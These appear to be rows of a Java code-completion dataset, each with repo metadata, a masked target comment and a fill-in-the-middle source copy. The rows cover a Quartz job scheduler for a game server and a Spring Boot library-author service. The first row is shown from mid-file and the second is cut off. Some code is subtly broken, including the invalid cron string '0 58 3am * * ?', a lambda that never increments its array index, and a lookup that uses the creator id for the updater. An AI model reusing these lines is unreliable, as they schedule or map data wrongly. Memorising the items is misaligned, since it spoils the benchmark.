addScheduler(YaBiaoJiaChengJob.class, closeYBMORETime1.toString());//0 0 11 * * ?
//关闭押镖活动福利2
StringBuffer closeYBMORETime2=new StringBuffer();
String[] closeYBMORE2 = YunbiaoTemp.incomeAdd_endTime2.split(":");
int closeHMORE2 = Integer.parseInt(closeYBMORE2[0]);
int closeMMORE2 = Integer.parseInt(closeYBMORE2[1]);
closeYBMORETime2.append("0 ").append(closeMMORE2).append(" ").append(closeHMORE2).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, closeYBMORETime2.toString());//0 0 11 * * ?
//关闭押镖活动福利3
StringBuffer closeYBMORETime3=new StringBuffer();
String[] closeYBMORE3 = YunbiaoTemp.incomeAdd_endTime3.split(":");
int closeHMORE3 = Integer.parseInt(closeYBMORE3[0]);
int closeMMORE3 = Integer.parseInt(closeYBMORE3[1]);
closeYBMORETime3.append("0 ").append(closeMMORE3).append(" ").append(closeHMORE3).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, closeYBMORETime3.toString());//0 0 11 * * ?
String time = CanShu.HUANGYEPVP_AWARDTIME;
String[] timeArray = time.split(":");
StringBuilder resOutputJobTime = new StringBuilder();
resOutputJobTime.append("0 ").append(timeArray[1]).append(" ").append(timeArray[0]).append(" ").append(" * * ?");
//addScheduler(AllianceResouceOutputJob.class, resOutputJobTime.toString());//没有荒野资源点了
//addScheduler(AllianceRewardStoreJob.class, "0 0 * * * ?");//没有荒野奖励库了
//
addScheduler(LogPerMinuteJob.class,"1 * * * * ?");
addScheduler(LogPerHourJob.class,"0 30 * * * ?");
addScheduler(BaoXiangQueueJob.class,"* * * * * ?");//1秒检查一次
addScheduler(BroadcastJob.class,"1 * * * * ?");//定时广播,没分钟检查
addScheduler(BaiZhanNoticeJob.class,"1 * * * * ?");//定时广播,没分钟检查
// 每周一0点,向前窜着记录上一期仇恨值
addScheduler(GuojiaChouhenJieSuanJob.class,"0 0 0 ? * 2");
// 每天00:05,刷新国家敌对国
addScheduler(GuojiaSetDiDuiGuoJob.class, "0 5 0 * * ?");
// 每天8:00 ,刷新君主贡金排行和 联盟贡金排行
addScheduler(ResetGongJinJob.class, "0 0 8 * * ?");
// 每天4:00 清理过期的盟友速报
addScheduler(CleanLMSBJob.class, "0 0 4 * * ?");
// 每天22:00 贡金个人排行和联盟排行发放奖励
addScheduler(SendGongJinAwardJob.class, "0 0 22 * * ?");
// 每天4:00 重置服务器时间为准的活动状态
addScheduler(RefreshGlobalActivity.class, "0 0 4 * * ?");
// 每天4:00 所有在线人数的登录天数+1
addScheduler(RefreshLoginCountJob.class, "0 0 4 * * ?");
addScheduler(LveDuoJunQingJob.class, "0 */1 * * * ?");
addScheduler(RefreshGongHeInfo.class, "*/20 * * * * ?");
//addScheduler(ShopRefreshJob.class, "0 0 9,21 * * ?");
addScheduler(ClearPromptJob.class, "*/20 * * * * ?");
//宣战竞拍缓存更新
addScheduler(CityBidPriceRefreshJob.class ,"0 0 * * * ?");
//每天 4:00 定时清理过期竞拍记录
addScheduler(CityWarBidClearData.class, "0 0 4 * * ?");
//每天 18:00 定时竞拍结算
String[] bidTimeArr = BidMgr.city_war_preparation_startTime.split(":");
StringBuilder bidJobTime = new StringBuilder();
bidJobTime.append("0 ").append(bidTimeArr[1]).append(" ").append(bidTimeArr[0]).append(" * * ?");
addScheduler(CityBidBillingJob.class,bidJobTime.toString());
/*
* 每日体力 固定时间更新体力红点
*/
String[] s1 = StrengthGetMgr.STRENGTH_GET_TIME1_START.split(":");
String[] s2 = StrengthGetMgr.STRENGTH_GET_TIME2_START.split(":");
String[] s3 = StrengthGetMgr.STRENGTH_GET_TIME3_START.split(":");
addScheduler(DailyTiliJob.class, "0 0 " + s1[0] +"," + s2[0] + "," + s3[0] + " * * ?");
String[] e1 = StrengthGetMgr.STRENGTH_GET_TIME1_END.split(":");
String[] e2 = StrengthGetMgr.STRENGTH_GET_TIME2_END.split(":");
String[] e3 = StrengthGetMgr.STRENGTH_GET_TIME3_END.split(":");
if("24".equals(e3[0])) e3[0] = "0";
addScheduler(DailyTiliJob.class, "0 0 " + e1[0] +"," + e2[0] + "," + e3[0] + " * * ?");
}
/**
* 任务列表
* @Title: addScheduler
* @Description:
* @param jobClass
* @param time 时间通配符
*/
public void addScheduler(Class<? extends Job> jobClass, String time){
JobDetail job = JobBuilder.newJob(jobClass).build();
CronTrigger trigger =
TriggerBuilder.newTrigger()
.withSchedule(CronScheduleBuilder.cronSchedule(time))
.build();
try {
scheduler.scheduleJob(job, trigger);
// log.info("添加job:{}到定时任务列表中成功", jobClass);
} catch (SchedulerException e) {
e.printStackTrace();
log.error("添加job:{}到定时任务列表中失败", jobClass);
}
}
/**
* 定时任务关闭,暂时没有被调用
* @Title: stop
* @Description:
*/
public void stop(){
try {
scheduler.shutdown(true);
} catch (SchedulerException e){
e.printStackTrace();
}
}
}
| 10people/7x_Server | src/com/qx/quartz/SchedulerMgr.java | 4,299 | // 每天晚上23:58 发送在线且没有领奖的百战日奖励邮件, 掠夺也会在23:58发送每日奖励邮件,因此都加在这个任务中 | line_comment | zh-cn | package com.qx.quartz;
import org.quartz.CronScheduleBuilder;
import org.quartz.CronTrigger;
import org.quartz.Job;
import org.quartz.JobBuilder;
import org.quartz.JobDetail;
import org.quartz.Scheduler;
import org.quartz.SchedulerException;
import org.quartz.SchedulerFactory;
import org.quartz.TriggerBuilder;
import org.quartz.impl.StdSchedulerFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.manu.dynasty.template.CanShu;
import com.manu.dynasty.template.YunbiaoTemp;
import com.qx.activity.StrengthGetMgr;
import com.qx.alliancefight.BidMgr;
import com.qx.quartz.job.AllianceResouceOutputJob;
import com.qx.quartz.job.AllianceRewardStoreJob;
import com.qx.quartz.job.BaiZhanDailyAwardJob;
import com.qx.quartz.job.BaiZhanNoticeJob;
import com.qx.quartz.job.BaoXiangQueueJob;
import com.qx.quartz.job.BigHouseWorthReduceJob;
import com.qx.quartz.job.BroadcastJob;
import com.qx.quartz.job.CheckHouseDealJob;
import com.qx.quartz.job.CityBidBillingJob;
import com.qx.quartz.job.CityBidPriceRefreshJob;
import com.qx.quartz.job.CityWarBidClearData;
import com.qx.quartz.job.CleanLMSBJob;
import com.qx.quartz.job.ClearPromptJob;
import com.qx.quartz.job.DailyTaskJob;
import com.qx.quartz.job.DailyTiliJob;
import com.qx.quartz.job.GuojiaChouhenJieSuanJob;
import com.qx.quartz.job.GuojiaDayRankResetJob;
import com.qx.quartz.job.GuojiaSetDiDuiGuoJob;
import com.qx.quartz.job.GuojiaWeekRankResetJob;
import com.qx.quartz.job.LianMengBySWDayRankResetJob;
import com.qx.quartz.job.LianMengBySWWeekRankResetJob;
import com.qx.quartz.job.LogPerHourJob;
import com.qx.quartz.job.LogPerMinuteJob;
import com.qx.quartz.job.LveDuoJunQingJob;
import com.qx.quartz.job.RefreshGlobalActivity;
import com.qx.quartz.job.RefreshGongHeInfo;
import com.qx.quartz.job.RefreshLoginCountJob;
import com.qx.quartz.job.ResetGongJinJob;
import com.qx.quartz.job.SendGongJinAwardJob;
import com.qx.quartz.job.ShopRefreshJob;
import com.qx.quartz.job.YaBiaoJiaChengJob;
import com.qx.quartz.job.YaBiaoManageJob;
import xg.push.XGJob;
public class SchedulerMgr {
public static Scheduler scheduler;
public static SchedulerMgr inst;
public static Logger log = LoggerFactory.getLogger(SchedulerMgr.class);
public SchedulerMgr(){
inst = this;
init();
}
public void init(){
SchedulerFactory sfa = new StdSchedulerFactory();
try {
scheduler = sfa.getScheduler();
scheduler.start();
log.info("获取scheduler成功");
}catch (SchedulerException e) {
log.error("获取scheduler失败");
e.printStackTrace();
}
}
/**
* 添加任务
* @Title: start
* @Description:
*/
public void doSchedule(){
// addScheduler(TestJob.class, "0/10 * * * * ?");
// 每天 <SUF>
addScheduler(BaiZhanDailyAwardJob.class, "0 58 3am * * ?");
//每周一到周六晚上22点衰减高级房屋价值
StringBuffer shuaijianTime=new StringBuffer();
shuaijianTime.append("0 0 ").append(String.valueOf(CanShu.REFRESHTIME_GAOJIFANGWU)).append(" ? * 2-7");
addScheduler(BigHouseWorthReduceJob.class, shuaijianTime.toString());//"0 0 22 ? * 2-7"
//每周日22点分配大房子 1.0无大房子
// StringBuffer fenpeiTime=new StringBuffer();
// fenpeiTime.append("0 0 ").append(String.valueOf(CanShu.REFRESHTIME_GAOJIFANGWU)).append(" ? * 1");
// addScheduler(FenBigHouseJob.class, fenpeiTime.toString());//"0 0 22 ? * 1"
//每天0点检查未完成的房屋交易
addScheduler(CheckHouseDealJob.class, "0 0 0 * * ?");
//每天0点检查/更新联盟状态 TODO 0.99不上
// addScheduler(AllianceVoteJob.class, "0 0 0 * * ?");
// 每天0点刷新国家日榜
addScheduler(GuojiaDayRankResetJob.class, "0 0 0 * * ?");
// 每天0点刷新联盟昨日声望榜
addScheduler(LianMengBySWDayRankResetJob.class, "0 0 0 * * ?");
// 每周一0点刷新国家周榜
addScheduler(GuojiaWeekRankResetJob.class, "0 0 0 ? * 2");
// 每周一0点刷新联盟声望周榜
addScheduler(LianMengBySWWeekRankResetJob.class, "0 0 0 ? * 2");
/*
* 每日任务 固定时间更新每日任务列表
*/
addScheduler(DailyTaskJob.class, "0 0 12,14,18,20,21,0,4 * * ?");
addScheduler(XGJob.class, "0 54 11,17 * * ?");
addScheduler(XGJob.class, "0 40 20 * * ?");
//开启押镖活动
StringBuffer openYBTime=new StringBuffer();
String[] openYB = CanShu.OPENTIME_YUNBIAO.split(":");
int openH = Integer.parseInt(openYB[0]);
int openM = Integer.parseInt(openYB[1]);
openYBTime.append("0 ").append(openM).append(" ").append(openH).append(" * * ?");
addScheduler(YaBiaoManageJob.class, openYBTime.toString());//"0 0 8 * * ?"
//关闭押镖活动
StringBuffer closeYBTime=new StringBuffer();
String[] closeYB = CanShu.CLOSETIME_YUNBIAO.split(":");
int closeH = Integer.parseInt(closeYB[0]);
int closeM = Integer.parseInt(closeYB[1]);
closeYBTime.append("0 ").append(closeM).append(" ").append(closeH).append(" * * ?");
addScheduler(YaBiaoManageJob.class, closeYBTime.toString());//0 0 11 * * ?
//开启押镖活动福利1 2016年1月27日去掉 2016年2月1日加回来
StringBuffer openYBMORETime1=new StringBuffer();
String[] openYBMORE1 = YunbiaoTemp.incomeAdd_startTime1.split(":");
int openHMORE1 = Integer.parseInt(openYBMORE1[0]);
int openMMORE1 = Integer.parseInt(openYBMORE1[1]);
openYBMORETime1.append("0 ").append(openMMORE1).append(" ").append(openHMORE1).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, openYBMORETime1.toString());//"0 0 8 * * ?"
//开启押镖活动福利2
StringBuffer openYBMORETime2=new StringBuffer();
String[] openYBMORE2 =YunbiaoTemp.incomeAdd_startTime2.split(":");
int openHMORE2 = Integer.parseInt(openYBMORE2[0]);
int openMMORE2 = Integer.parseInt(openYBMORE2[1]);
openYBMORETime2.append("0 ").append(openMMORE2).append(" ").append(openHMORE2).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, openYBMORETime2.toString());//"0 0 8 * * ?"
//开启押镖活动福利3
StringBuffer openYBMORETime3=new StringBuffer();
String[] openYBMORE3 =YunbiaoTemp.incomeAdd_startTime3.split(":");
int openHMORE3 = Integer.parseInt(openYBMORE3[0]);
int openMMORE3 = Integer.parseInt(openYBMORE3[1]);
openYBMORETime3.append("0 ").append(openMMORE3).append(" ").append(openHMORE3).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, openYBMORETime3.toString());//"0 0 8 * * ?"
// //关闭押镖活动福利1 2016年1月27日 去掉
StringBuffer closeYBMORETime1=new StringBuffer();
String[] closeYBMORE1 = YunbiaoTemp.incomeAdd_endTime1.split(":");
int closeHMORE1 = Integer.parseInt(closeYBMORE1[0]);
int closeMMORE1 = Integer.parseInt(closeYBMORE1[1]);
closeYBMORETime1.append("0 ").append(closeMMORE1).append(" ").append(closeHMORE1).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, closeYBMORETime1.toString());//0 0 11 * * ?
//关闭押镖活动福利2
StringBuffer closeYBMORETime2=new StringBuffer();
String[] closeYBMORE2 = YunbiaoTemp.incomeAdd_endTime2.split(":");
int closeHMORE2 = Integer.parseInt(closeYBMORE2[0]);
int closeMMORE2 = Integer.parseInt(closeYBMORE2[1]);
closeYBMORETime2.append("0 ").append(closeMMORE2).append(" ").append(closeHMORE2).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, closeYBMORETime2.toString());//0 0 11 * * ?
//关闭押镖活动福利3
StringBuffer closeYBMORETime3=new StringBuffer();
String[] closeYBMORE3 = YunbiaoTemp.incomeAdd_endTime3.split(":");
int closeHMORE3 = Integer.parseInt(closeYBMORE3[0]);
int closeMMORE3 = Integer.parseInt(closeYBMORE3[1]);
closeYBMORETime3.append("0 ").append(closeMMORE3).append(" ").append(closeHMORE3).append(" * * ?");
addScheduler(YaBiaoJiaChengJob.class, closeYBMORETime3.toString());//0 0 11 * * ?
String time = CanShu.HUANGYEPVP_AWARDTIME;
String[] timeArray = time.split(":");
StringBuilder resOutputJobTime = new StringBuilder();
resOutputJobTime.append("0 ").append(timeArray[1]).append(" ").append(timeArray[0]).append(" ").append(" * * ?");
//addScheduler(AllianceResouceOutputJob.class, resOutputJobTime.toString());//没有荒野资源点了
//addScheduler(AllianceRewardStoreJob.class, "0 0 * * * ?");//没有荒野奖励库了
//
addScheduler(LogPerMinuteJob.class,"1 * * * * ?");
addScheduler(LogPerHourJob.class,"0 30 * * * ?");
addScheduler(BaoXiangQueueJob.class,"* * * * * ?");//1秒检查一次
addScheduler(BroadcastJob.class,"1 * * * * ?");//定时广播,没分钟检查
addScheduler(BaiZhanNoticeJob.class,"1 * * * * ?");//定时广播,没分钟检查
// 每周一0点,向前窜着记录上一期仇恨值
addScheduler(GuojiaChouhenJieSuanJob.class,"0 0 0 ? * 2");
// 每天00:05,刷新国家敌对国
addScheduler(GuojiaSetDiDuiGuoJob.class, "0 5 0 * * ?");
// 每天8:00 ,刷新君主贡金排行和 联盟贡金排行
addScheduler(ResetGongJinJob.class, "0 0 8 * * ?");
// 每天4:00 清理过期的盟友速报
addScheduler(CleanLMSBJob.class, "0 0 4 * * ?");
// 每天22:00 贡金个人排行和联盟排行发放奖励
addScheduler(SendGongJinAwardJob.class, "0 0 22 * * ?");
// 每天4:00 重置服务器时间为准的活动状态
addScheduler(RefreshGlobalActivity.class, "0 0 4 * * ?");
// 每天4:00 所有在线人数的登录天数+1
addScheduler(RefreshLoginCountJob.class, "0 0 4 * * ?");
addScheduler(LveDuoJunQingJob.class, "0 */1 * * * ?");
addScheduler(RefreshGongHeInfo.class, "*/20 * * * * ?");
//addScheduler(ShopRefreshJob.class, "0 0 9,21 * * ?");
addScheduler(ClearPromptJob.class, "*/20 * * * * ?");
//宣战竞拍缓存更新
addScheduler(CityBidPriceRefreshJob.class ,"0 0 * * * ?");
//每天 4:00 定时清理过期竞拍记录
addScheduler(CityWarBidClearData.class, "0 0 4 * * ?");
//每天 18:00 定时竞拍结算
String[] bidTimeArr = BidMgr.city_war_preparation_startTime.split(":");
StringBuilder bidJobTime = new StringBuilder();
bidJobTime.append("0 ").append(bidTimeArr[1]).append(" ").append(bidTimeArr[0]).append(" * * ?");
addScheduler(CityBidBillingJob.class,bidJobTime.toString());
/*
* 每日体力 固定时间更新体力红点
*/
String[] s1 = StrengthGetMgr.STRENGTH_GET_TIME1_START.split(":");
String[] s2 = StrengthGetMgr.STRENGTH_GET_TIME2_START.split(":");
String[] s3 = StrengthGetMgr.STRENGTH_GET_TIME3_START.split(":");
addScheduler(DailyTiliJob.class, "0 0 " + s1[0] +"," + s2[0] + "," + s3[0] + " * * ?");
String[] e1 = StrengthGetMgr.STRENGTH_GET_TIME1_END.split(":");
String[] e2 = StrengthGetMgr.STRENGTH_GET_TIME2_END.split(":");
String[] e3 = StrengthGetMgr.STRENGTH_GET_TIME3_END.split(":");
if("24".equals(e3[0])) e3[0] = "0";
addScheduler(DailyTiliJob.class, "0 0 " + e1[0] +"," + e2[0] + "," + e3[0] + " * * ?");
}
/**
* 任务列表
* @Title: addScheduler
* @Description:
* @param jobClass
* @param time 时间通配符
*/
public void addScheduler(Class<? extends Job> jobClass, String time){
JobDetail job = JobBuilder.newJob(jobClass).build();
CronTrigger trigger =
TriggerBuilder.newTrigger()
.withSchedule(CronScheduleBuilder.cronSchedule(time))
.build();
try {
scheduler.scheduleJob(job, trigger);
// log.info("添加job:{}到定时任务列表中成功", jobClass);
} catch (SchedulerException e) {
e.printStackTrace();
log.error("添加job:{}到定时任务列表中失败", jobClass);
}
}
/**
* 定时任务关闭,暂时没有被调用
* @Title: stop
* @Description:
*/
public void stop(){
try {
scheduler.shutdown(true);
} catch (SchedulerException e){
e.printStackTrace();
}
}
}
| 0 |
65101_6 | package com.nhXJH.web.service.impl;
import java.util.*;
import com.nhXJH.common.core.domain.entity.SysUser;
import com.nhXJH.common.enums.application.StatusEnums;
import com.nhXJH.common.enums.application.TableTypeEnums;
import com.nhXJH.enums.FileTypeEnums;
import com.nhXJH.system.mapper.SysUserMapper;
import com.nhXJH.web.domain.AttachFile;
import com.nhXJH.web.domain.BaseFile;
import com.nhXJH.web.domain.LibraryAuth;
import com.nhXJH.common.utils.DateUtils;
import com.nhXJH.web.domain.param.AuthParam;
import com.nhXJH.web.domain.vo.AuthVO;
import com.nhXJH.web.mapper.BaseFileMapper;
import com.nhXJH.web.service.IBaseFileService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.nhXJH.web.mapper.LibraryAuthMapper;
import com.nhXJH.web.service.ILibraryAuthService;
import org.springframework.transaction.annotation.Transactional;
/**
* 作信息者Service业务层处理
*
* @author xjh
* @date 2022-01-25
*/
@Service
public class LibraryAuthServiceImpl extends ServiceImpl<LibraryAuthMapper, LibraryAuth>
implements ILibraryAuthService {
@Autowired
private LibraryAuthMapper libraryAuthMapper;
@Autowired
private IBaseFileService baseFileMapper;
@Autowired
private BaseFileMapper mapper;
@Autowired
private SysUserMapper userMapper;
/**
* 查询作信息者
*
* @param id 作信息者主键
* @return 作信息者
*/
// @Override
// public LibraryAuth selectLibraryAuthById(Long id) {
// return libraryAuthMapper.selectLibraryAuthById(id);
// }
@Override
public AuthVO selectLibraryAuthById(Long id) {
LibraryAuth auth = libraryAuthMapper.selectLibraryAuthById(id);
SysUser createUser = userMapper.selectUserById(auth.getCreatePersonal());
SysUser updateUser = userMapper.selectUserById(auth.getCreatePersonal());
AuthVO authVO = new AuthVO(auth,createUser,updateUser);
return authVO;
}
@Override
public Integer getCount(LibraryAuth libraryAuth) {
return libraryAuthMapper.getCount(libraryAuth);
}
/**
* 查询作信息者列表
*
* @param libraryAuth 作信息者
* @return 作信息者
*/
@Override
public List<AuthVO> selectLibraryAuthList(LibraryAuth libraryAuth) {
List<LibraryAuth> authList = libraryAuthMapper.selectLibraryAuthList(libraryAuth);
//查无数据时
if(null == authList || authList.size()<=0){
return new ArrayList<AuthVO>();
}
Set<Long> idSet = new HashSet<>();
authList.forEach(auth->{
idSet.add(auth.getCreatePersonal());
idSet.add(auth.getUpdatePersonal());
});
Long[] ids = new Long[idSet.size()];
int index = 0;
idSet.forEach(set->{
ids[index] = set;
});
List<SysUser> users = userMapper.selectUserByIds(ids);
Map<Long,SysUser> userMap = new HashMap<>();
users.forEach(u->{
userMap.put(u.getUserId(),u);
});
List<AuthVO> result = new ArrayList<>();
authList.forEach(auth -> {
result.add(
new AuthVO(
auth,
userMap.get(auth.getCreatePersonal()),
userMap.get(auth.getUpdatePersonal())
)
);
});
return result;
}
/**
* 新增作信息者
*
* @param libraryAuth 作信息者
* @return 结果
*/
@Override
@Transactional
public List<BaseFile> insertLibraryAuth(AuthParam libraryAuth) {
libraryAuth.setCreateTime(DateUtils.getNowDate());
LibraryAuth auth = libraryAuth.getAuth();
int result = libraryAuthMapper.insertLibraryAuth(auth);
List<AttachFile> files = libraryAuth.getPicList();
List<BaseFile> baseFiles = new ArrayList<>();
if ( files != null && files.size()>0 ) {
//新增图片信息
for (AttachFile file : files) {
BaseFile baseFile = new BaseFile();
baseFile.setFileId(file.getId());
baseFile.setDbId(TableTypeEnums.AUTH.getCode());
baseFile.setModelId(auth.getId());
baseFile.setCreatePerson(file.getCreatePerson());
baseFile.setMark("作家:"+libraryAuth.getName());
baseFile.setUrl(file.getUrl());
baseFile.setCreateTime(file.getCreateTime());
baseFiles.add(baseFile);
}
baseFileMapper.insertBaseFile(baseFiles);
}
return baseFiles;
}
/**
* 修改作信息者
*
* @param libraryAuth 作信息者
* @return 结果
*/
@Override
@Transactional
public List<BaseFile> updateLibraryAuth(AuthParam libraryAuth) {
libraryAuth.setUpdateTime(DateUtils.getNowDate());
int result = libraryAuthMapper.updateLibraryAuth(libraryAuth.getAuth());
List<AttachFile> files = libraryAuth.getPicList();
BaseFile query = new BaseFile();
query.setModelId(libraryAuth.getId());
query.setDbId(TableTypeEnums.AUTH.getCode());
query.setStatus(StatusEnums.ONE.getDesc());
List<BaseFile> savedFile = baseFileMapper.selectBaseFileList(query);
Long filesIds[] = new Long[ (savedFile==null) ? 0:savedFile.size()];
for (int index = 0 ;index<filesIds.length;index++) {
filesIds[index] = savedFile.get(index).getFileId();
}
//清空原有图片信息
if (filesIds.length>0) {
baseFileMapper.deleteBaseFileByFileIds(filesIds,libraryAuth.getUpdatePersonal());
}
List<BaseFile> baseFiles = new ArrayList<>();
//添加新图片
if (files != null && files.size()>0 ){
//新增图片信息
for (AttachFile file : files) {
BaseFile baseFile = new BaseFile();
baseFile.setFileId(file.getSnowID());
baseFile.setDbId(TableTypeEnums.AUTH.getCode());
baseFile.setModelId(libraryAuth.getId());
baseFile.setCreatePerson(file.getCreatePerson());
baseFile.setType(FileTypeEnums.PICTURE.getValue());//图片文件
baseFile.setMark(file.getMark()==null?"":file.getMark());
baseFile.setUrl(file.getUrl());
baseFile.setCreateTime(file.getCreateTime());
baseFile.setStatus(StatusEnums.ONE.getDesc());
baseFiles.add(baseFile);
}
baseFileMapper.insertBaseFile(baseFiles);
}
return baseFiles;
}
@Transactional
public int addPic(List<AttachFile> files,LibraryAuth auth) {
if (files != null && files.size() > 0) {
//新增图片信息
List<BaseFile> baseFiles = new ArrayList<>();
for (AttachFile file : files) {
BaseFile baseFile = new BaseFile();
baseFile.setFileId(file.getId());
baseFile.setDbId(TableTypeEnums.AUTH.getCode());
baseFile.setModelId(auth.getId());
baseFile.setCreatePerson(file.getCreatePerson());
baseFile.setMark(file.getMark());
baseFile.setUrl(file.getUrl());
baseFile.setCreateTime(file.getCreateTime());
baseFiles.add(baseFile);
}
return baseFileMapper.insertBaseFile(baseFiles);
}
return 0;
}
/**
* 批量删除作信息者
*
* @param ids 需要删除的作信息者主键
* @return 结果
*/
@Override
public int deleteLibraryAuthByIds(Long[] ids,Long operator) {
return libraryAuthMapper.deleteLibraryAuthByIds(ids,operator);
}
/**
* 删除作信息者信息
*
* @param id 作信息者主键
* @return 结果
*/
@Override
public int deleteLibraryAuthById(Long id,Long operator) {
return libraryAuthMapper.deleteLibraryAuthById(id,operator);
}
/**
* 修改状态
*
* @param auth 作者信息
* @return 修改结果
*/
@Override
public int updateUserStatus(LibraryAuth auth){
return libraryAuthMapper.updateLibraryAuth(auth);
}
}
| 11000100111010101100111/SpringBoot-Vue-libraryManagerSystem | nhXJH-admin/src/main/java/com/nhXJH/web/service/impl/LibraryAuthServiceImpl.java | 2,082 | //查无数据时 | line_comment | zh-cn | package com.nhXJH.web.service.impl;
import java.util.*;
import com.nhXJH.common.core.domain.entity.SysUser;
import com.nhXJH.common.enums.application.StatusEnums;
import com.nhXJH.common.enums.application.TableTypeEnums;
import com.nhXJH.enums.FileTypeEnums;
import com.nhXJH.system.mapper.SysUserMapper;
import com.nhXJH.web.domain.AttachFile;
import com.nhXJH.web.domain.BaseFile;
import com.nhXJH.web.domain.LibraryAuth;
import com.nhXJH.common.utils.DateUtils;
import com.nhXJH.web.domain.param.AuthParam;
import com.nhXJH.web.domain.vo.AuthVO;
import com.nhXJH.web.mapper.BaseFileMapper;
import com.nhXJH.web.service.IBaseFileService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.nhXJH.web.mapper.LibraryAuthMapper;
import com.nhXJH.web.service.ILibraryAuthService;
import org.springframework.transaction.annotation.Transactional;
/**
* 作信息者Service业务层处理
*
* @author xjh
* @date 2022-01-25
*/
@Service
public class LibraryAuthServiceImpl extends ServiceImpl<LibraryAuthMapper, LibraryAuth>
implements ILibraryAuthService {
@Autowired
private LibraryAuthMapper libraryAuthMapper;
@Autowired
private IBaseFileService baseFileMapper;
@Autowired
private BaseFileMapper mapper;
@Autowired
private SysUserMapper userMapper;
/**
* 查询作信息者
*
* @param id 作信息者主键
* @return 作信息者
*/
// @Override
// public LibraryAuth selectLibraryAuthById(Long id) {
// return libraryAuthMapper.selectLibraryAuthById(id);
// }
@Override
public AuthVO selectLibraryAuthById(Long id) {
LibraryAuth auth = libraryAuthMapper.selectLibraryAuthById(id);
SysUser createUser = userMapper.selectUserById(auth.getCreatePersonal());
SysUser updateUser = userMapper.selectUserById(auth.getCreatePersonal());
AuthVO authVO = new AuthVO(auth,createUser,updateUser);
return authVO;
}
@Override
public Integer getCount(LibraryAuth libraryAuth) {
return libraryAuthMapper.getCount(libraryAuth);
}
/**
* 查询作信息者列表
*
* @param libraryAuth 作信息者
* @return 作信息者
*/
@Override
public List<AuthVO> selectLibraryAuthList(LibraryAuth libraryAuth) {
List<LibraryAuth> authList = libraryAuthMapper.selectLibraryAuthList(libraryAuth);
//查无 <SUF>
if(null == authList || authList.size()<=0){
return new ArrayList<AuthVO>();
}
Set<Long> idSet = new HashSet<>();
authList.forEach(auth->{
idSet.add(auth.getCreatePersonal());
idSet.add(auth.getUpdatePersonal());
});
Long[] ids = new Long[idSet.size()];
int index = 0;
idSet.forEach(set->{
ids[index] = set;
});
List<SysUser> users = userMapper.selectUserByIds(ids);
Map<Long,SysUser> userMap = new HashMap<>();
users.forEach(u->{
userMap.put(u.getUserId(),u);
});
List<AuthVO> result = new ArrayList<>();
authList.forEach(auth -> {
result.add(
new AuthVO(
auth,
userMap.get(auth.getCreatePersonal()),
userMap.get(auth.getUpdatePersonal())
)
);
});
return result;
}
/**
* 新增作信息者
*
* @param libraryAuth 作信息者
* @return 结果
*/
@Override
@Transactional
public List<BaseFile> insertLibraryAuth(AuthParam libraryAuth) {
libraryAuth.setCreateTime(DateUtils.getNowDate());
LibraryAuth auth = libraryAuth.getAuth();
int result = libraryAuthMapper.insertLibraryAuth(auth);
List<AttachFile> files = libraryAuth.getPicList();
List<BaseFile> baseFiles = new ArrayList<>();
if ( files != null && files.size()>0 ) {
//新增图片信息
for (AttachFile file : files) {
BaseFile baseFile = new BaseFile();
baseFile.setFileId(file.getId());
baseFile.setDbId(TableTypeEnums.AUTH.getCode());
baseFile.setModelId(auth.getId());
baseFile.setCreatePerson(file.getCreatePerson());
baseFile.setMark("作家:"+libraryAuth.getName());
baseFile.setUrl(file.getUrl());
baseFile.setCreateTime(file.getCreateTime());
baseFiles.add(baseFile);
}
baseFileMapper.insertBaseFile(baseFiles);
}
return baseFiles;
}
/**
* 修改作信息者
*
* @param libraryAuth 作信息者
* @return 结果
*/
@Override
@Transactional
public List<BaseFile> updateLibraryAuth(AuthParam libraryAuth) {
libraryAuth.setUpdateTime(DateUtils.getNowDate());
int result = libraryAuthMapper.updateLibraryAuth(libraryAuth.getAuth());
List<AttachFile> files = libraryAuth.getPicList();
BaseFile query = new BaseFile();
query.setModelId(libraryAuth.getId());
query.setDbId(TableTypeEnums.AUTH.getCode());
query.setStatus(StatusEnums.ONE.getDesc());
List<BaseFile> savedFile = baseFileMapper.selectBaseFileList(query);
Long filesIds[] = new Long[ (savedFile==null) ? 0:savedFile.size()];
for (int index = 0 ;index<filesIds.length;index++) {
filesIds[index] = savedFile.get(index).getFileId();
}
//清空原有图片信息
if (filesIds.length>0) {
baseFileMapper.deleteBaseFileByFileIds(filesIds,libraryAuth.getUpdatePersonal());
}
List<BaseFile> baseFiles = new ArrayList<>();
//添加新图片
if (files != null && files.size()>0 ){
//新增图片信息
for (AttachFile file : files) {
BaseFile baseFile = new BaseFile();
baseFile.setFileId(file.getSnowID());
baseFile.setDbId(TableTypeEnums.AUTH.getCode());
baseFile.setModelId(libraryAuth.getId());
baseFile.setCreatePerson(file.getCreatePerson());
baseFile.setType(FileTypeEnums.PICTURE.getValue());//图片文件
baseFile.setMark(file.getMark()==null?"":file.getMark());
baseFile.setUrl(file.getUrl());
baseFile.setCreateTime(file.getCreateTime());
baseFile.setStatus(StatusEnums.ONE.getDesc());
baseFiles.add(baseFile);
}
baseFileMapper.insertBaseFile(baseFiles);
}
return baseFiles;
}
@Transactional
public int addPic(List<AttachFile> files,LibraryAuth auth) {
if (files != null && files.size() > 0) {
//新增图片信息
List<BaseFile> baseFiles = new ArrayList<>();
for (AttachFile file : files) {
BaseFile baseFile = new BaseFile();
baseFile.setFileId(file.getId());
baseFile.setDbId(TableTypeEnums.AUTH.getCode());
baseFile.setModelId(auth.getId());
baseFile.setCreatePerson(file.getCreatePerson());
baseFile.setMark(file.getMark());
baseFile.setUrl(file.getUrl());
baseFile.setCreateTime(file.getCreateTime());
baseFiles.add(baseFile);
}
return baseFileMapper.insertBaseFile(baseFiles);
}
return 0;
}
/**
* 批量删除作信息者
*
* @param ids 需要删除的作信息者主键
* @return 结果
*/
@Override
